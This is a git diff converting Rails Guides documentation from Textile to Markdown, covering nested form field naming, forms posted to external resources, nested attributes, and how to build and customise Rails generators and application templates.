+Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).
-To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
+To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
-<erb>
+```erb
<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
-</erb>
+```
will create inputs like
-<html>
+```html
<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
-</html>
+```
-As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `:index => address` so
-<erb>
+```erb
<%= fields_for 'person[address][primary][]', address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
-</erb>
+```
produces exactly the same output as the previous example.
-h3. Forms to external resources
+Forms to external resources
+---------------------------
-If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
+If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `:authenticity_token => 'your_external_token'` parameter to the `form_tag` options:
-<erb>
+```erb
<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
Form contents
<% end %>
-</erb>
+```
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option:
+Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
-<erb>
+```erb
<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
Form contents
<% end %>
-</erb>
+```
-The same technique is available for the +form_for+ too:
+The same technique is available for the `form_for` too:
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
+```erb
+<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f| %>
Form contents
<% end %>
-</erb>
+```
-Or if you don't want to render an +authenticity_token+ field:
+Or if you don't want to render an `authenticity_token` field:
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
+```erb
+<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f| %>
Form contents
<% end %>
-</erb>
+```
-h3. Building Complex Forms
+Building Complex Forms
+----------------------
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
-h4. Configuring the Model
+### Configuring the Model
-Active Record provides model level support via the +accepts_nested_attributes_for+ method:
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses
@@ -834,15 +844,15 @@ class Address < ActiveRecord::Base
belongs_to :person
attr_accessible :kind, :street
end
-</ruby>
+```
-This creates an +addresses_attributes=+ method on +Person+ that allows you to create, update and (optionally) destroy addresses. When using +attr_accessible+ or +attr_protected+ you must mark +addresses_attributes+ as accessible as well as the other attributes of +Person+ and +Address+ that should be mass assigned.
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. When using `attr_accessible` or `attr_protected` you must mark `addresses_attributes` as accessible as well as the other attributes of `Person` and `Address` that should be mass assigned.
-h4. Building the Form
+### Building the Form
-The following form allows a user to create a +Person+ and its associated addresses.
+The following form allows a user to create a `Person` and its associated addresses.
-<erb>
+```html+erb
<%= form_for @person do |f| %>
Addresses:
<ul>
@@ -858,21 +868,21 @@ The following form allows a user to create a +Person+ and its associated address
<% end %>
</ul>
<% end %>
-</erb>
+```
-When an association accepts nested attributes +fields_for+ renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
-<ruby>
+```ruby
def new
@person = Person.new
3.times { @person.addresses.build}
end
-</ruby>
+```
-+fields_for+ yields a form builder that names parameters in the format expected the accessor generated by +accepts_nested_attributes_for+. For example when creating a user with 2 addresses, the submitted parameters would look like
+`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
-<ruby>
+```ruby
{
:person => {
:name => 'John Doe',
@@ -888,30 +898,30 @@ end
}
}
}
-</ruby>
+```
-The keys of the +:addresses_attributes+ hash are unimportant, they need merely be different for each address.
+The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, +fields_for+ autogenerates a hidden input with the +id+ of the saved record. You can disable this by passing +:include_id => false+ to +fields_for+. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `:include_id => false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
-h4. The Controller
+### The Controller
You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form.
-h4. Removing Objects
+### Removing Objects
-You can allow users to delete associated objects by passing +allow_destroy => true+ to +accepts_nested_attributes_for+
+You can allow users to delete associated objects by passing `allow_destroy => true` to `accepts_nested_attributes_for`
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses, :allow_destroy => true
end
-</ruby>
+```
-If the hash of attributes for an object contains the key +_destroy+ with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
-<erb>
+```erb
<%= form_for @person do |f| %>
Addresses:
<ul>
@@ -925,21 +935,21 @@ If the hash of attributes for an object contains the key +_destroy+ with a value
<% end %>
</ul>
<% end %>
-</erb>
+```
-h4. Preventing Empty Records
+### Preventing Empty Records
-It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a +:reject_if+ proc to +accepts_nested_attributes_for+. This proc will be called with each hash of attributes submitted by the form. If the proc returns +false+ then Active Record will not build an associated object for that hash. The example below only tries to build an address if the +kind+ attribute is set.
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses, :reject_if => lambda {|attributes| attributes['kind'].blank?}
end
-</ruby>
+```
-As a convenience you can instead pass the symbol +:all_blank+ which will create a proc that will reject records where all the attributes are blank excluding any value for +_destroy+.
+As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
-h4. Adding Fields on the Fly
+### Adding Fields on the Fly
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice. \ No newline at end of file
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.textile b/guides/source/generators.md
index 2e9ab0526d..0bcfa1dc68 100644
--- a/guides/source/generators.textile
+++ b/guides/source/generators.md
@@ -1,4 +1,5 @@
-h2. Creating and Customizing Rails Generators & Templates
+Creating and Customizing Rails Generators & Templates
+=====================================================
Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
@@ -12,110 +13,113 @@ In this guide you will:
* Learn how to use fallbacks to avoid overwriting a huge set of generators
* Learn how to create an application template
-endprologue.
+--------------------------------------------------------------------------------
NOTE: This guide is about generators in Rails 3, previous versions are not covered.
-h3. First Contact
+First Contact
+-------------
-When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
+When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
-<shell>
+```bash
$ rails new myapp
$ cd myapp
$ rails generate
-</shell>
+```
You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
-<shell>
+```bash
$ rails generate helper --help
-</shell>
+```
-h3. Creating Your First Generator
+Creating Your First Generator
+-----------------------------
-Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
-The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content:
+The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::Base
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
-</ruby>
+```
-NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
-Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
To invoke our new generator, we just need to do:
-<shell>
+```bash
$ rails generate initializer
-</shell>
+```
Before we go on, let's see our brand new generator description:
-<shell>
+```bash
$ rails generate initializer --help
-</shell>
+```
-Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
+Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::Base
desc "This generator creates an initializer file at config/initializers"
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
-</ruby>
+```
-Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
+Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
-h3. Creating Generators with Generators
+Creating Generators with Generators
+-----------------------------------
Generators themselves have a generator:
-<shell>
+```bash
$ rails generate generator initializer
create lib/generators/initializer
create lib/generators/initializer/initializer_generator.rb
create lib/generators/initializer/USAGE
create lib/generators/initializer/templates
-</shell>
+```
This is the generator just created:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
end
-</ruby>
+```
-First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+.
+First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
-<shell>
+```bash
$ rails generate initializer --help
Usage:
rails generate initializer NAME [options]
-</shell>
+```
-We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+.
+We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
-In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content:
+In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
-<ruby>
+```ruby
# Add initialization content here
-</ruby>
+```
And now let's change the generator to copy this template when invoked:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
@@ -123,48 +127,50 @@ class InitializerGenerator < Rails::Generators::NamedBase
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
end
end
-</ruby>
+```
And let's execute our generator:
-<shell>
+```bash
$ rails generate initializer core_extensions
-</shell>
+```
-We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
+We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
-The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
+The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
-h3. Generators Lookup
+Generators Lookup
+-----------------
-When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
+When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
-<shell>
+```bash
rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb
-</shell>
+```
If none is found you get an error message.
-INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+.
+INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
-h3. Customizing Your Workflow
+Customizing Your Workflow
+-------------------------
-Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => true
end
-</ruby>
+```
Before we customize our workflow, let's first see what our scaffold looks like:
-<shell>
+```bash
$ rails generate scaffold User name:string
invoke active_record
create db/migrate/20091120125558_create_users.rb
@@ -190,32 +196,32 @@ $ rails generate scaffold User name:string
create test/unit/helpers/users_helper_test.rb
invoke stylesheets
create app/assets/stylesheets/scaffold.css
-</shell>
+```
Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
-</ruby>
+```
If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
-<shell>
+```bash
$ rails generate generator rails/my_helper
-</shell>
+```
-After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
-<ruby>
+```ruby
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -225,25 +231,25 @@ end
FILE
end
end
-</ruby>
+```
We can try out our new generator by creating a helper for users:
-<shell>
+```bash
$ rails generate my_helper products
-</shell>
+```
-And it will generate the following helper file in +app/helpers+:
+And it will generate the following helper file in `app/helpers`:
-<ruby>
+```ruby
module ProductsHelper
attr_reader :products, :product
end
-</ruby>
+```
-Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again:
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
@@ -251,16 +257,16 @@ config.generators do |g|
g.stylesheets false
g.helper :my_helper
end
-</ruby>
+```
and see it in action when invoking the generator:
-<shell>
+```bash
$ rails generate scaffold Post body:text
[...]
invoke my_helper
create app/helpers/posts_helper.rb
-</shell>
+```
We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
@@ -268,7 +274,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe
To do that, we can change the generator this way:
-<ruby>
+```ruby
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -280,49 +286,51 @@ end
hook_for :test_framework
end
-</ruby>
+```
-Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add:
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
-<ruby>
+```ruby
# Search for :helper instead of :my_helper
hook_for :test_framework, :as => :helper
-</ruby>
+```
And now you can re-run scaffold for another resource and see it generating tests as well!
-h3. Customizing Your Workflow by Changing Generators Templates
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
-In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+.
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
-In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content:
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
-<erb>
+```erb
module <%= class_name %>Helper
attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
end
-</erb>
+```
-and revert the last change in +config/application.rb+:
+and revert the last change in `config/application.rb`:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
-</ruby>
+```
-If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
-h3. Adding Generators Fallbacks
+Adding Generators Fallbacks
+---------------------------
-One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace.
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.
-We can easily simulate this behavior by changing our +config/application.rb+ once again:
+We can easily simulate this behavior by changing our `config/application.rb` once again:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
@@ -332,11 +340,11 @@ config.generators do |g|
# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
end
-</ruby>
+```
Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
-<shell>
+```bash
$ rails generate scaffold Comment body:text
invoke active_record
create db/migrate/20091120151323_create_comments.rb
@@ -361,15 +369,16 @@ $ rails generate scaffold Comment body:text
create app/helpers/comments_helper.rb
invoke shoulda
create test/unit/helpers/comments_helper_test.rb
-</shell>
+```
Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
-h3. Application Templates
+Application Templates
+---------------------
Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
-<ruby>
+```ruby
gem("rspec-rails", :group => "test")
gem("cucumber-rails", :group => "test")
@@ -380,180 +389,181 @@ if yes?("Would you like to install Devise?")
model_name = "user" if model_name.blank?
generate("devise", model_name)
end
-</ruby>
+```
-In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator.
+In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator.
-Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename:
+Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
-<shell>
+```bash
$ rails new thud -m template.rb
-</shell>
+```
-This command will generate the +Thud+ application, and then apply the template to the generated output.
+This command will generate the `Thud` application, and then apply the template to the generated output.
-Templates don't have to be stored on the local system, the +-m+ option also supports online templates:
+Templates don't have to be stored on the local system, the `-m` option also supports online templates:
-<shell>
+```bash
$ rails new thud -m https://gist.github.com/722911.txt
-</shell>
+```
Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
-h3. Generator methods
+Generator methods
+-----------------
The following are methods available for both generators and templates for Rails.
-NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
-h4. +gem+
+### `gem`
Specifies a gem dependency of the application.
-<ruby>
+```ruby
gem("rspec", :group => "test", :version => "2.1.0")
gem("devise", "1.1.5")
-</ruby>
+```
Available options are:
-* +:group+ - The group in the +Gemfile+ where this gem should go.
-* +:version+ - The version string of the gem you want to use. Can also be specified as the second argument to the method.
-* +:git+ - The URL to the git repository for this gem.
+* `:group` - The group in the `Gemfile` where this gem should go.
+* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* `:git` - The URL to the git repository for this gem.
Any additional options passed to this method are put on the end of the line:
-<ruby>
+```ruby
gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
-</ruby>
+```
-The above code will put the following line into +Gemfile+:
+The above code will put the following line into `Gemfile`:
-<ruby>
+```ruby
gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
-</ruby>
+```
-h4. +gem_group+
+### `gem_group`
Wraps gem entries inside a group:
-<ruby>
+```ruby
gem_group :development, :test do
gem "rspec-rails"
end
-</ruby>
+```
-h4. +add_source+
+### `add_source`
-Adds a specified source to +Gemfile+:
+Adds a specified source to `Gemfile`:
-<ruby>
+```ruby
add_source "http://gems.github.com"
-</ruby>
+```
-h4. +inject_into_file+
+### `inject_into_file`
Injects a block of code into a defined position in your file.
-<ruby>
+```ruby
inject_into_file 'name_of_file.rb', :after => "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
puts "Hello World"
RUBY
end
-</ruby>
+```
-h4. +gsub_file+
+### `gsub_file`
Replaces text inside a file.
-<ruby>
+```ruby
gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
-</ruby>
+```
Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
-h4. +application+
+### `application`
-Adds a line to +config/application.rb+ directly after the application class definition.
+Adds a line to `config/application.rb` directly after the application class definition.
-<ruby>
+```ruby
application "config.asset_host = 'http://example.com'"
-</ruby>
+```
This method can also take a block:
-<ruby>
+```ruby
application do
"config.asset_host = 'http://example.com'"
end
-</ruby>
+```
Available options are:
-* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
-<ruby>
+```ruby
application(nil, :env => "development") do
"config.asset_host = 'http://localhost:3000'"
end
-</ruby>
+```
-h4. +git+
+### `git`
Runs the specified git command:
-<ruby>
+```ruby
git :init
git :add => "."
git :commit => "-m First commit!"
git :add => "onefile.rb", :rm => "badfile.cxx"
-</ruby>
+```
The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
-h4. +vendor+
+### `vendor`
-Places a file into +vendor+ which contains the specified code.
+Places a file into `vendor` which contains the specified code.
-<ruby>
+```ruby
vendor("sekrit.rb", '#top secret stuff')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
vendor("seeds.rb") do
"puts 'in ur app, seeding ur database'"
end
-</ruby>
+```
-h4. +lib+
+### `lib`
-Places a file into +lib+ which contains the specified code.
+Places a file into `lib` which contains the specified code.
-<ruby>
+```ruby
lib("special.rb", 'p Rails.root')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
lib("super_special.rb") do
puts "Super special!"
end
-</ruby>
+```
-h4. +rakefile+
+### `rakefile`
-Creates a Rake file in the +lib/tasks+ directory of the application.
+Creates a Rake file in the `lib/tasks` directory of the application.
-<ruby>
+```ruby
rakefile("test.rake", 'hello there')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
rakefile("test.rake") do
%Q{
task :rock => :environment do
@@ -561,66 +571,66 @@ rakefile("test.rake") do
end
}
end
-</ruby>
+```
-h4. +initializer+
+### `initializer`
-Creates an initializer in the +config/initializers+ directory of the application:
+Creates an initializer in the `config/initializers` directory of the application:
-<ruby>
+```ruby
initializer("begin.rb", "puts 'this is the beginning'")
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
initializer("begin.rb") do
puts "Almost done!"
end
-</ruby>
+```
-h4. +generate+
+### `generate`
Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
-<ruby>
+```ruby
generate("scaffold", "forums title:string description:text")
-</ruby>
+```
-h4. +rake+
+### `rake`
Runs the specified Rake task.
-<ruby>
+```ruby
rake("db:migrate")
-</ruby>
+```
Available options are:
-* +:env+ - Specifies the environment in which to run this rake task.
-* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+.
+* `:env` - Specifies the environment in which to run this rake task.
+* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
-h4. +capify!+
+### `capify!`
-Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
+Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.
-<ruby>
+```ruby
capify!
-</ruby>
+```
-h4. +route+
